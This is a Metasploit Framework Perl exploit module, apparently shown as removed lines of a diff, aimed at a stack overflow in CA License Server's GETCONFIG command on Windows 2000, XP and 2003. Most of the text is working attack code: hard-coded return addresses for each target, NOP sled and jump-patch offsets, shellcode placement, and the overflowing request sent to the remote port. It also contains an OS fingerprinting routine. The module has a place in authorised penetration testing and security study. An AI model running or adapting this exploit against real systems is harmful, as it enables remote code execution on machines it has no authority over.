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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::calicserv_getconfig;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'CA License Server GETCONFIG Overflow',
- 'Version' => '$Revision: 1.12 $',
- 'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ],
- 'Priv' => 1,
- 'AutoOpts' => { 'EXITFUNC' => 'thread' },
- 'UserOpts' => {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 10202],
- },
-
- 'Payload' =>
- {
- 'Space' => 600,
- 'BadChars' => "\x00\x20",
- 'Prepend' => "\x81\xc4\x54\xf2\xff\xff",
- 'Keys' => ['+ws2ord'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits an vulnerability in the CA License Server
- network service. This is a simple stack overflow and just one of
- many serious problems with this software.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '14322'],
- ['BID', '12705'],
- ['CVE', '005-0581'],
- ['URL', 'http://www.idefense.com/application/poi/display?id=213&type=vulnerabilities'],
- ['MIL', '18'],
- ],
-
- 'Targets' => [
-
- # As much as I would like to return back to the DLL or EXE,
- # all of those modules have a leading NULL in the
- # loaded @ address :(
-
- # name, jmp esi, writable, jmp edi
- ['Automatic', 0],
- ['Windows 2000 English', 0x750217ae, 0x7ffde0cc, 0x75021421], # ws2help.dll esi + peb + edi
- ['Windows XP English SP0-1', 0x71aa16e5, 0x7ffde0cc, 0x71aa19e8], # ws2help.dll esi + peb + edi
- ['Windows XP English SP2', 0x71aa1b22, 0x71aa5001, 0x71aa1e08], # ws2help.dll esi + .data + edi
- ['Windows 2003 English SP0', 0x71bf175f, 0x7ffde0cc, 0x71bf1a2c], # ws2help.dll esi + peb + edi
- ],
- 'Keys' => ['calicense'],
-
- 'DisclosureDate' => 'Mar 02 2005',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $data = $self->GetConfig($target_host, $target_port);
- if (! $data) {
- $self->PrintLine("[*] Could not read remote configuration");
- return $self->CheckCode('Connect');
- }
-
- $self->PrintLine("[*] License Server: $data");
- return $self->CheckCode('Detected');
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- if (! $self->InitNops(128)) {
- $self->PrintLine("[*] Failed to initialize the nop module.");
- return;
- }
-
- if ($target_idx == 0) {
- my $data = $self->GetConfig($target_host, $target_port);
- if ($data =~ m/OS\<([^\>]+)/) {
- my $os = $1;
- $os =~ s/_NT//g;
- $os =~ s/5\.1/XP/;
- $os =~ s/5\.2/2003/;
- $os =~ s/5\.0/2000/;
- $os =~ s/4\.0/NT 4.0/;
-
- my @targs;
- for (1 .. (scalar(@{$self->Targets})-1)) {
- if (index($self->Targets->[$_]->[0], $os) != -1) {
- push @targs, $_;
- }
- }
-
- if (scalar(@targs) > 1) {
- $self->PrintLine("[*] Multiple possible targets:");
- foreach (@targs) {
- $self->PrintLine("[*] $_\t".$self->Targets->[$_]->[0]);
- }
- return;
- }
-
- if (scalar(@targs) == 1) {
- $target = $self->Targets->[$targs[0]];
- }
-
- if (! scalar(@targs)) {
- $self->PrintLine("[*] No matching target for $os");
- return;
- }
-
- } else {
- $self->PrintLine("[*] Could not determine the remote OS automatically");
- return;
- }
- }
-
- $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- # Read the initial greeting from the license server
- my $res = $s->Recv(-1, 1);
- if (! $res || $res !~ /GETCONFIG/) {
- $self->PrintLine("[*] The server did not return the expected greeting");
- return;
- }
-
- my $boom = $self->MakeNops(900);
-
- ## exploits two different versions at once >:-)
- # 144 -> return address of esi points to string middle
- # 196 -> return address of edi points to string beginning
- # 148 -> avoid exception by patching with writable address
- # 928 -> seh handler (not useful under XP SP2)
-
- substr($boom, 142, 2, "\xeb\x08"); # jmp over addresses
- substr($boom, 144, 4, pack('V', $target->[1])); # jmp esi
- substr($boom, 148, 4, pack('V', $target->[2])); # writable address
- substr($boom, 194, 2, "\xeb\x04"); # jmp over address
- substr($boom, 196, 4, pack('V', $target->[3])); # jmp edi
-
- substr($boom, 272, length($shellcode), $shellcode);
-
- my $req = "A0 GETCONFIG SELF $boom<EOM>";
-
- $self->PrintLine("[*] Sending " .length($req) . " bytes to remote host.");
- $s->Send($req);
-
- return;
- }
-
- sub GetConfig {
- my $self = shift;
- my $target_host = shift;
- my $target_port = shift;
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- # Recieve the message that is first sent
- $s->Recv(-1, 1);
-
- # Ask for the configuration info
- $s->Send("A0 GETCONFIG SELF 0<EOM>");
- my $res = $s->Recv(-1, 2);
-
- # Close the socket
- $s->Close;
-
- # Return the data
- return $res;
- }
-
- 1;
-
- __DATA__
- eTrust: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.2>OLFFILE<0 0 0>SERVER<RMT>VERSION<0 1.61.0>NETWORK<192.168.3.22 unknown 255.255.255.0>MACHINE<PC_686_1_2084>CHECKSUMS<0 0 0 0 0 0 0 00 0 0 0>RMTV<1.3.1><EOM>
- BrightStor: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.54.0>NETWORK<11.11.11.111 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>
-